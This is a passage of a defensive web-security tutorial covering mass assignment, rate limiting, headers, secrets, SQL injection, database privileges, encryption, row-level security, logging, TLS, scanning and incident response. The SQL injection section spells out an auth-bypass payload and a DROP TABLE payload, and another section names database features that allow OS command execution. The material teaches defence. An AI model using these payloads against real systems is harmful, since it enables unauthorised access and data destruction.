✅ User.create(pick(req.body, ['name','email','password']))
→ extra fields silently dropped
the UI is irrelevant; the API must decide what's assignable.// ❌ mass assignment — client controls EVERY column
const user = await User.create(req.body)
// ✅ pick only the fields a signup is allowed to set
const CREATABLE = ['name', 'email', 'password']
const input = Object.fromEntries(
Object.entries(req.body).filter(([k]) => CREATABLE.includes(k)))
const user = await User.create({ ...input, role: 'user', isVerified: false })
// role & isVerified are set by the SERVER, never from req.body✅ Do
- Allowlist assignable fields per action (create vs update differ)
- Set privileged fields (
role,ownerId, prices) server-side only - Use DTOs / strong params / schema parsing to shape the input
❌ Don't
- Pass
req.bodystraight intocreate/update/assign - Rely on the field being absent from the UI — the API is the boundary
ownerId to steal a record, or set emailVerified to skip a check. And nested objects are the blind spot: allowlisting top-level keys but then binding req.body.address wholesale re-opens the hole one level down. Shape every level.19Rate limiting & brute-force defense▶
Scenario: your login endpoint accepts unlimited attempts. An attacker takes a leaked password list and tries the top 1,000 passwords against 100,000 usernames ("credential stuffing"). With no limit, they crack thousands of accounts overnight — and your SMS/verification endpoints get abused into a five-figure bill.
What
Rate limiting caps how many requests an identity can make in a window. For auth, it blunts brute-force and credential stuffing.
Why
Cheap, automated guessing is only stopped by making it expensive. Limits also protect costly actions (email/SMS, search) from abuse and DoS.
How
Limit per IP and per account, add exponential backoff/lockout on failures, require CAPTCHA/MFA after thresholds, and return 429 with Retry-After.
no limit: ●●●●●●●●●●●●●●●●●●●● 1000s of guesses/sec → cracked
limited: ●●●●● ✋ 429 ─ wait ─ ●●●●● ✋ ~5 tries / 15 min / account
layers:
per-IP limit → stops one host hammering
per-ACCOUNT limit → stops distributed guessing of ONE user
backoff + lockout → each failure widens the delay
CAPTCHA / MFA → kicks in after N failures (human check)import rateLimit from 'express-rate-limit'
// per-IP cap on the login route
const loginLimiter = rateLimit({
windowMs: 15 * 60_000, max: 20, // 20 attempts / 15 min / IP
standardHeaders: true, // sends RateLimit + Retry-After
message: { error: 'too many attempts, slow down' }
})
app.post('/login', loginLimiter, async (req, res) => {
const fails = await incrFailures(req.body.email) // ALSO per-account
if (fails > 5) return res.status(429).set('Retry-After', '900').end()
// …verify password; on success resetFailures(email)
})
// generic errors: never reveal "user exists" vs "wrong password" (enumeration)✅ Do
- Limit per IP and per account; add backoff, lockout, and CAPTCHA/MFA after failures
- Return
429withRetry-After; keep counters in a shared store (Redis) - Rate-limit costly endpoints too (email/SMS, password reset, search, signup)
❌ Don't
- Limit by IP only — attackers rotate IPs and target one account across many
- Leak whether the username exists via different errors or timings (enumeration)
X-Forwarded-For from a trusted hop), or everyone shares one bucket.20Security headers — the HTTP armor▶
Scenario: a security scan flags your app: no HSTS (downgradable to HTTP), no X-Content-Type-Options (MIME sniffing), no CSP, framable (clickjacking). None is a single dramatic exploit — but together they're a stack of open doors an attacker walks through, all fixable with a few response headers you can set in one place.
What
A set of HTTP response headers that instruct the browser to enforce protections: HSTS, CSP, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, and frame controls.
Why
They're high-value, low-effort defense-in-depth — each closes a class of downgrade, sniffing, framing, or leakage attack for free.
How
Set them centrally (a middleware like helmet, or the edge/CDN), then verify on the live response — configs lie; headers on the wire don't.
Strict-Transport-Security: max-age=31536000; includeSubDomains → no HTTP downgrade Content-Security-Policy: default-src 'self'; … → XSS backstop (t7) X-Content-Type-Options: nosniff → no MIME sniffing Referrer-Policy: strict-origin-when-cross-origin → no URL leakage Permissions-Policy: geolocation=(), camera=() → drop unused APIs X-Frame-Options: DENY / frame-ancestors 'none' → clickjacking (t11) → verify: curl -I https://app.example.com
import helmet from 'helmet'
app.use(helmet({
hsts: { maxAge: 31536000, includeSubDomains: true, preload: true },
contentSecurityPolicy: { directives: { defaultSrc: ["'self'"] } },
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
frameguard: { action: 'deny' }
}))
# configs lie; verify the ACTUAL response headers $ curl -sI https://app.example.com | grep -iE 'strict-transport|content-security|x-content' Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Security-Policy: default-src 'self' X-Content-Type-Options: nosniff
✅ Do
- Set HSTS, CSP,
nosniff, Referrer-Policy, Permissions-Policy centrally - Verify headers on the live response, on every environment
- Preload HSTS once you're confident all subdomains are HTTPS
❌ Don't
- Assume the header is set because it's in your config — proxies strip and override
- Enable HSTS
preloadbefore every subdomain is HTTPS (it's hard to undo)
curl -I against the public URL. And HSTS preload is a one-way door: browsers hard-code it, so a subdomain you forgot to move to HTTPS becomes unreachable.21Secrets management & rotation▶
Scenario: a developer commits .env with the production database password and a cloud key "just for a minute." It's in git history forever, the repo goes public during a migration, and bots scraping GitHub find the key in under a minute. The secret leaked not through a hack, but through a commit.
What
Secrets management: how API keys, DB passwords, and signing keys are stored, delivered to apps, and rotated — without ever landing in code, logs, or images.
Why
Secrets in git, env dumps, or logs are the most common credential leak. And a secret you can't rotate quickly turns a small leak into a long exposure.
How
Store in a dedicated manager (Vault, cloud Secrets Manager), inject at runtime, scope + expire them, scan commits, and make rotation a routine, not an emergency.
❌ in the repo / image / logs ✅ in a secrets manager
┌───────────────────────────┐ ┌───────────────────────────┐
│ .env committed to git │ │ Vault / Secrets Manager │
│ hard-coded API_KEY = "…" │ │ ├─ scoped + short-lived │
│ console.log(config) │ │ ├─ audit log of every read│
│ baked into Docker layer │ │ └─ rotate without deploy │
└───────────────────────────┘ └───────────────────────────┘
leaks forever injected at runtime, rotatable// ✅ read from the environment/manager at runtime — nothing hard-coded
const dbUrl = process.env.DATABASE_URL // injected from Vault/Secrets Manager
// even better: fetch a SHORT-LIVED credential per boot
const { username, password } = await vault.read('database/creds/app') // 1h TTL
// ❌ const API_KEY = 'sk_live_9f3...' // in code = in git = leaked forever
// ❌ console.log(process.env) // dumps every secret into logs
# stop leaks before they land: scan staged changes & history in CI $ gitleaks protect --staged # block the commit if a secret is detected $ git rm --cached .env && echo ".env" >> .gitignore # and if one leaked: ROTATE it (assume it's compromised) — removing the commit is not enough
✅ Do
- Store secrets in a manager; inject at runtime; scope and expire them
- Scan commits/CI for secrets (
gitleaks) and block leaks pre-merge - Rotate on a schedule and immediately on any suspicion of exposure
❌ Don't
- Commit
.env, hard-code keys, or bake secrets into Docker images - Log full config/objects, or assume deleting the commit "un-leaks" a secret
docker history reveals them.22SQL injection & parameterized queries★ critical▶
Scenario: your login builds a query by string concat: "… WHERE user='" + name + "'". An attacker types ' OR '1'='1' -- as the username. The query becomes always-true and logs them in as the first user — often the admin. Or they append ; DROP TABLE users -- and the table is gone. The input became SQL.
What
SQL injection: untrusted input concatenated into a query string is parsed as SQL syntax, letting the attacker rewrite the query — read, alter, or destroy data.
Why
It's the archetypal injection (OWASP A03) and among the most damaging — full database read/write, auth bypass, even OS access via DB features.
How
Parameterize: send SQL and data on separate channels so input is always data, never code. Use prepared statements / an ORM's binding — everywhere.
❌ "SELECT * FROM users WHERE name = '" + input + "'"
input = ' OR '1'='1' --
→ SELECT * FROM users WHERE name = '' OR '1'='1' --' (always true)
✅ "SELECT * FROM users WHERE name = $1" params: [input]
the driver sends the query and $1 SEPARATELY
→ input is bound as a literal string; it can NEVER become syntax
code channel │ data channel — the separation IS the defense// ❌ string concatenation → injectable
const q = `SELECT * FROM users WHERE email = '${email}'`
await db.query(q)
// ✅ parameterized / prepared — input is always data
await db.query('SELECT * FROM users WHERE email = $1', [email])
// ✅ ORM does the binding for you
await User.findOne({ where: { email } })
// ⚠️ even "safe" ORMs have raw escape hatches — the rule still applies there
await db.query(`... ORDER BY ${sortCol}`) // ❌ if sortCol is user input
const col = ALLOWED_COLUMNS[sortCol] ?? 'created_at' // ✅ allowlist identifiers✅ Do
- Use parameterized queries / prepared statements everywhere, always
- Allowlist things you can't parameterize (column/table names, sort order)
- Run the app with a least-privilege DB user (topic 23) to cap the damage
❌ Don't
- Concatenate input into SQL, even "just this once" or "it's only an internal tool"
- Trust escaping-by-hand or blocklists of quotes — parameterize instead
ORDER BY direction. Those are the sneaky injection points teams miss, because "we use an ORM." Any place user input picks an identifier or raw SQL fragment needs an allowlist (map the input to a fixed set of known-good column names), not string interpolation.23Least-privilege database users▶
Scenario: your web app connects to Postgres as the postgres superuser "because it's easier." An SQL injection or a bug now doesn't just read a table — it can DROP DATABASE, read every schema, create users, and on some setups run OS commands. The same injection through a restricted user could only touch a few tables, read-mostly. The DB grant decides the blast radius.
What
Give each app its own DB role with the minimum grants: only the tables it needs, only the operations it performs — no superuser, no DROP, no cross-schema reach.
Why
Least privilege (topic 3) applied to the database. It turns a full compromise into a contained one — the DB itself enforces the limit, even if the app is breached.
How
Create a scoped role, GRANT only needed privileges on needed objects, use separate read/write roles, and connect as that role — never as the admin.
APP CONNECTS AS superuser APP CONNECTS AS app_rw (scoped)
┌────────────────────────┐ ┌────────────────────────────┐
│ read/alter ANY schema │ │ SELECT/INSERT/UPDATE on the │
│ DROP DATABASE │ │ app's tables only │
│ CREATE ROLE (backdoor) │ │ no DROP, no DDL, no roles │
│ COPY … TO PROGRAM (RCE) │ │ reads capped to own schema │
└────────────────────────┘ └────────────────────────────┘
one bug = game over one bug = a few tables# ✅ a role that can only do what the app needs $ psql -c "CREATE ROLE app_rw LOGIN PASSWORD 'from-vault';" $ psql -c "GRANT CONNECT ON DATABASE shop TO app_rw;" $ psql -c "GRANT USAGE ON SCHEMA app TO app_rw;" $ psql -c "GRANT SELECT, INSERT, UPDATE ON ALL TABLES IN SCHEMA app TO app_rw;" # note: NO delete/drop/ddl/superuser. A read-only reporting job gets its OWN role: $ psql -c "CREATE ROLE app_ro LOGIN; GRANT SELECT ON ALL TABLES IN SCHEMA app TO app_ro;" # app connects as app_rw — NEVER as postgres/superuser # DATABASE_URL=postgres://app_rw:...@db/shop
✅ Do
- Give each app a dedicated role with only the grants it needs
- Split read-only and read-write roles; keep DDL/admin out of the app role
- Restrict which hosts/networks may connect (
pg_hba, security groups)
❌ Don't
- Connect the app as
postgres/root/superuser - Grant broad
ALL PRIVILEGESor cross-schema access "to be safe"
COPY … TO/FROM PROGRAM, untrusted procedural languages, or MySQL INTO OUTFILE let a powerful role run OS commands or write files. A scoped, non-superuser role without those grants keeps an injection bug bounded to data it can already touch. The DB role is your last containment wall when the app fails.24Encryption at rest & in transit▶
Scenario: a backup disk is thrown out, a laptop is stolen, or a snapshot bucket is left public. If the database was encrypted at rest, the finder gets ciphertext. If not, they get every customer record. Separately, an internal service talks to the DB over a plain connection, and anyone on the network segment reads credentials off the wire.
What
Two protections for data confidentiality: in transit (TLS on every connection) and at rest (disk/volume/field encryption so stored bytes are unreadable without keys).
Why
It defends against threats you don't control: stolen disks, leaked backups/snapshots, network sniffing, and cloud storage misconfig. OWASP A02.
How
Force TLS everywhere (including internal hops), enable storage encryption, and add application/field-level encryption for the most sensitive columns, with keys in a KMS.
IN TRANSIT (TLS) AT REST (disk/field + KMS)
app ══TLS══► database [ encrypted volume ] ← stolen disk = ciphertext
no sniffing on the wire [ field: ssn = enc(…) ] ← even a leaked dump
internal hops count too! is unreadable without the KMS key
keys live in a KMS, rotated; the data owner ≠ the key owner (separation)// ✅ require TLS to the database — verify the server cert, don't just "sslmode=require"
const db = new Pool({
connectionString: process.env.DATABASE_URL,
ssl: { rejectUnauthorized: true, ca: fs.readFileSync('rds-ca.pem') }
})
// ✅ app-level (field) encryption for the most sensitive columns; key from KMS
const ssnCipher = await kms.encrypt({ keyId: SSN_KEY, plaintext: ssn })
await db.query('INSERT INTO people(ssn_enc) VALUES ($1)', [ssnCipher])
// at-rest volume encryption is enabled at the infra layer (RDS/EBS "encrypted: true")✅ Do
- Force TLS on every connection, internal hops included; verify certificates
- Enable volume/disk encryption; field-encrypt the most sensitive columns
- Keep keys in a KMS, rotate them, and separate key access from data access
❌ Don't
- Leave internal service→DB traffic unencrypted "because it's private"
- Store encryption keys next to the data they protect
sslmode=require without verify-full encrypts the channel but skips cert verification, leaving you open to a MITM impersonating your database.25PII, data minimization & row-level security▶
Scenario: a support engineer runs an ad-hoc query and accidentally exports every customer's full SSN and card number — data you never actually needed to store. A multi-tenant reporting bug then shows tenant A rows from tenant B. Both are data-exposure incidents that collecting less and row-level security would have prevented.
What
Handling personal data responsibly: collect the minimum, tokenize/mask what you must keep, and enforce row-level access so each tenant/user sees only their own rows — at the database.
Why
The data you never collect can't leak. What you do keep is a liability under privacy law (GDPR/CCPA) — minimization and isolation shrink both breach impact and legal exposure.
How
Store only what's needed, mask/tokenize sensitive fields, set retention/deletion, and push tenant isolation into the DB via Row-Level Security policies.
MINIMIZE ROW-LEVEL SECURITY (defense in depth) ┌───────────────────────┐ every query auto-filtered by tenant: │ need age? store a bool │ SELECT * FROM invoices │ "over_18", not a DOB │ → DB adds WHERE tenant_id = current_tenant │ need card? tokenize it │ so even a missing app-side filter (IDOR, t15) │ set a deletion date │ can't leak another tenant's rows └───────────────────────┘ the DB enforces isolation, not just the app
// app sets the current tenant once per request (from the SESSION, not the client)
await db.query('SET app.tenant_id = $1', [req.user.tenantId])
# ✅ the DB filters EVERY query on this table by tenant, automatically
ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
CREATE POLICY tenant_isolation ON invoices
USING (tenant_id = current_setting('app.tenant_id')::uuid);
-- now SELECT * FROM invoices can only ever return the current tenant's rows,
-- even if the app forgets a WHERE clause. Isolation lives in the database.✅ Do
- Collect the minimum; mask/tokenize sensitive fields; set retention & deletion
- Enforce tenant/user isolation with Row-Level Security in the database
- Derive the tenant/user from the session, and set it server-side per request
❌ Don't
- Store raw SSNs/cards/DOBs "in case we need them later"
- Rely only on app-side
WHERE tenant_id— one missed clause leaks everything
BYPASSRLS), so if your app connects as the owner, the policy is silently inert. Connect as a non-owner role with FORCE ROW LEVEL SECURITY, and set the tenant from the verified session — a client-supplied tenant_id would let a user pick which tenant to "become."26Audit logging & tamper evidence▶
Scenario: months after a breach, you're asked "what did the attacker access, and when?" — and you have no idea, because sensitive reads and admin actions were never logged. Worse, the attacker did have access to your logs and quietly deleted the lines that named them. Without a tamper-evident audit trail, you can neither detect nor prove what happened.
What
An audit log: an append-only record of security-relevant events — who did what, to what, when — especially sensitive data access, admin actions, and permission changes.
Why
It's how you detect, investigate, and prove what happened (OWASP A09). Compliance often requires it; incident response is impossible without it.
How
Log the right events with actor/target/time, ship them off the host to append-only/WORM storage the app can't edit, and never log secrets or full PII.
event: {who, action, target, when, ip, result}
│
▼ ship immediately ──► central log store (append-only / WORM)
│ attacker on the app host CANNOT edit it
✅ actor=user:88 action=export target=customers n=50000 → ALERT
❌ don't log: passwords, tokens, full card/SSN — logs leak too
tamper-evidence: hash-chain or signed entries → deletion is detectable// ✅ structured, security-relevant, no secrets — shipped to central store
audit.log({
actor: req.user.id,
action: 'invoice.export',
target: 'customers',
count: rows.length,
ip: clientIp(req),
result: 'success',
at: new Date().toISOString()
})
// ❌ logger.info(`login body: ${JSON.stringify(req.body)}`) // leaks the password!
// forward off-host to append-only storage; alert on anomalies (bulk export, off-hours admin)✅ Do
- Log auth events, sensitive data access, admin actions, and permission changes
- Ship logs off-host to append-only/WORM storage; consider hash-chaining or signing
- Alert on anomalies (bulk exports, off-hours admin, repeated failures)
❌ Don't
- Log passwords, tokens, or full PII — logs leak and get over-shared
- Keep the only copy of logs on the same box an attacker would compromise
27TLS / HTTPS — what the padlock really means▶
Scenario: your marketing site is HTTP-only, so on café Wi-Fi an attacker injects a fake login form into the page mid-transit and harvests passwords. Elsewhere, an internal API "uses TLS" but skips certificate verification, so a man-in-the-middle presents any cert and reads everything. The padlock is only as good as what it actually verifies.
What
TLS gives every connection three things: encryption (no eavesdropping), integrity (no tampering), and authentication (you're really talking to who you think, via certificates).
Why
Without it, anyone on the path reads and rewrites traffic — passwords, tokens, pages. Weak TLS (no cert check, old protocols) quietly gives the same result.
How
HTTPS everywhere, redirect HTTP→HTTPS, enforce HSTS (topic 20), verify certificates on every hop (including internal), and disable legacy protocols/ciphers.
HTTPS = encryption + integrity + authentication (the cert!)
│ │ │
no eavesdrop no tampering "is this really the server?"
❌ HTTP → attacker reads & injects (café-wifi login theft)
❌ TLS, no verify → encrypted to the WRONG party (MITM presents any cert)
✅ TLS + verify-full + HSTS → sniffing, tampering, AND impersonation blocked# HSTS present? protocol modern? cert valid and not expiring?
$ curl -sI https://app.example.com | grep -i strict-transport-security
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
$ echo | openssl s_client -connect app.example.com:443 -servername app.example.com 2>/dev/null \
| openssl x509 -noout -issuer -dates
issuer=C=US, O=Let's Encrypt, CN=R3
notAfter=Sep 14 12:00:00 2026 GMT # monitor expiry — auto-renew (ACME)
# redirect all HTTP → HTTPS at the edge; disable TLS 1.0/1.1 and weak ciphers✅ Do
- HTTPS everywhere; redirect HTTP→HTTPS; enforce HSTS
- Verify certificates on every connection, including internal service→service
- Automate renewal (ACME) and monitor expiry; disable TLS 1.0/1.1 and weak ciphers
❌ Don't
- Disable cert verification "to make it work" — that's encryption to an imposter
- Assume internal traffic is safe unencrypted, or let certs silently expire
rejectUnauthorized: false or verify=none still shows a padlock and still encrypts — to whoever answers, including a man-in-the-middle. Authentication (cert verification) is the part that actually stops impersonation, and it's the part most often quietly disabled to silence a cert error. Fix the cert, never the verification.28Dependency & vulnerability scanning (SCA)▶
Scenario: a critical CVE drops in a logging library you use three layers deep. Attackers are exploiting it within hours. The question isn't "are we good coders?" — it's "do we even know we ship that library, and can we patch it today?" Without dependency scanning and an SBOM, you find out from the breach, not the bulletin.
What
Software Composition Analysis: continuously inventory your dependencies (and their dependencies) and check them against known-vulnerability databases (CVEs).
Why
Most code you ship is third-party (topic 12). "Vulnerable and outdated components" is OWASP A06 — and a known CVE in a dependency is a pre-built exploit.
How
Scan in CI and continuously, generate an SBOM, fail builds on high-severity known vulns, and keep a fast patch path so you can ship a fix in hours.
your code + direct deps + hundreds of transitive deps = what you SHIP
│
▼ SCA scan (CI + continuous) ── cross-check against CVE feeds
✅ SBOM: a bill of materials — "we ship lib X@1.2 in these services"
✅ new CVE in X? → the SBOM answers "are we affected?" in minutes
✅ CI gate: fail the build on HIGH/CRITICAL known vulns → don't ship them
speed of PATCH matters as much as speed of detection# dependency vulnerabilities (app + container image) $ npm audit --audit-level=high # fail if a HIGH/CRITICAL vuln is present $ trivy image myapp:latest # scans OS + language deps in the image # generate an SBOM so "are we affected by CVE-XXXX?" is answerable in minutes $ syft myapp:latest -o cyclonedx-json > sbom.json # CI gate (pseudo): block the release on known-exploitable, patchable vulns $ trivy image --exit-code 1 --severity HIGH,CRITICAL myapp:latest
✅ Do
- Scan dependencies and images in CI and continuously; gate on high severity
- Generate and keep an SBOM so "are we affected?" is a minutes-long question
- Keep a fast patch/deploy path — detection is worthless without quick remediation
❌ Don't
- Scan only direct dependencies — most CVEs hide in transitive ones
- Let a wall of low-severity noise bury the one critical finding that matters
29Logging, detection & monitoring — the security you can see▶
Scenario: the industry statistic that should terrify you: attackers often dwell in a network for weeks or months before anyone notices. Your app logs exist, but nothing watches them. The breach isn't detected by you — it's detected by a customer, a researcher, or the extortion email. Detection is the difference between "a scary week" and "a front-page catastrophe."
What
Turning security events (topic 26) into alerts: aggregate logs, watch for attack signatures and anomalies, and page a human when something looks wrong. Measured by MTTD/MTTR — time to detect / respond.
Why
Prevention eventually fails; detection bounds the damage. Unmonitored logs are just disk usage. OWASP A09 is "logging & monitoring failures."
How
Centralize logs, define alert rules for known-bad and anomalies, wire them to on-call, and test that a real attack actually fires an alert.
app + auth + infra logs ──► central store (SIEM) ──► rules / anomaly ──► ALERT ──► on-call
│
fires on: spike in 401/403 · bulk data export · new admin from new geo ·
impossible travel · a WAF block burst · secret used from odd IP
metric that matters: MTTD (mean time to DETECT). weeks = failure; minutes = mature.
and: TEST it — run a benign "attack" and confirm the pager actually goes off.// emit a structured, alertable security metric (no secrets, topic 26)
metrics.increment('auth.failed', { user: hash(email), ip: clientIp(req) })
// an example detection rule (pseudo): brute force / stuffing in progress
// IF auth.failed FROM one ip > 100 in 5m → page: possible brute force
// IF auth.failed ACROSS many ips, one account → page: credential stuffing
// IF data.export.rows > 10000 by non-admin → page: possible exfiltration
// IF admin.login FROM new country → page: verify or block
# prove the pipeline works end-to-end — don't wait for a real incident $ ./scripts/security-drill.sh # simulate 200 failed logins → expect a page in <5m
✅ Do
- Centralize logs and define alerts for known-bad patterns and anomalies
- Wire alerts to on-call; track and drive down MTTD/MTTR
- Run periodic drills to confirm real attacks actually trigger a page
❌ Don't
- Collect logs no one monitors — that's cost, not security
- Drown real alerts in noise; tune thresholds so the pager means something
30Incident response — a breach, end to end★ capstone▶
Scenario: 2:14am, an alert fires: a non-admin account just exported 80,000 customer rows from a new IP. This is the moment every previous topic pays off — or doesn't. What you do in the next hour, and whether you prepared for it, decides whether this is a contained event or a company-ending breach. Let's walk it end to end.
What
Incident response: the prepared, repeatable process for handling a breach — Prepare → Detect → Contain → Eradicate → Recover → Learn (PICERL).
Why
Under pressure, people improvise badly. A runbook, defined roles, and prior drills turn panic into procedure — and cut both damage and legal exposure.
How
Prepare in calm times (runbooks, contacts, backups, logging). In the incident: contain fast, preserve evidence, eradicate the root cause, recover cleanly, then run a blameless post-mortem.
0:00 DETECT alert: bulk export, non-admin, new IP (t29 monitoring, t26 audit)
0:05 CONTAIN revoke session + rotate the leaked key (t21 secrets, t10 cookies)
block the IP, disable the account (t19 limits)
0:20 ASSESS what could that role even reach? (t3, t15, t23 least-priv)
→ scoped role = blast radius was small
0:40 ERADICATE find root cause: an IDOR on /export (t15 access control)
patch it, deploy the fix (t28 fast patch path)
1:30 RECOVER restore integrity, verify no persistence, force re-auth
next day LEARN blameless post-mortem → new test, new alert, new guardrail (t5)
── preparation (calm-time work) is what makes 2am a procedure, not a panic ──# PREPARE (before anything happens) — the unglamorous work that saves you $ cat incident-runbook.md 1. who to page (on-call, legal, comms) + how to reach them off-hours 2. how to revoke sessions / rotate keys / disable an account — FAST commands 3. where the logs & audit trail live, and how to preserve evidence 4. tested, offline backups + a practiced restore procedure 5. breach-notification obligations (who/when) — know the legal clock # DRILL it — a tabletop or a real game-day, quarterly, so the runbook isn't fiction $ ./scripts/incident-gameday.sh # inject a fake breach; time the response (MTTR)
✅ Do
- Write and drill a runbook: roles, contacts, revoke/rotate commands, backups
- Contain fast, preserve evidence, then eradicate the root cause — not just the symptom
- Run a blameless post-mortem and turn each finding into a test or guardrail
❌ Don't
- Improvise during the incident, or wipe systems before preserving evidence
- Blame individuals — it hides the real, systemic causes and kills honest reporting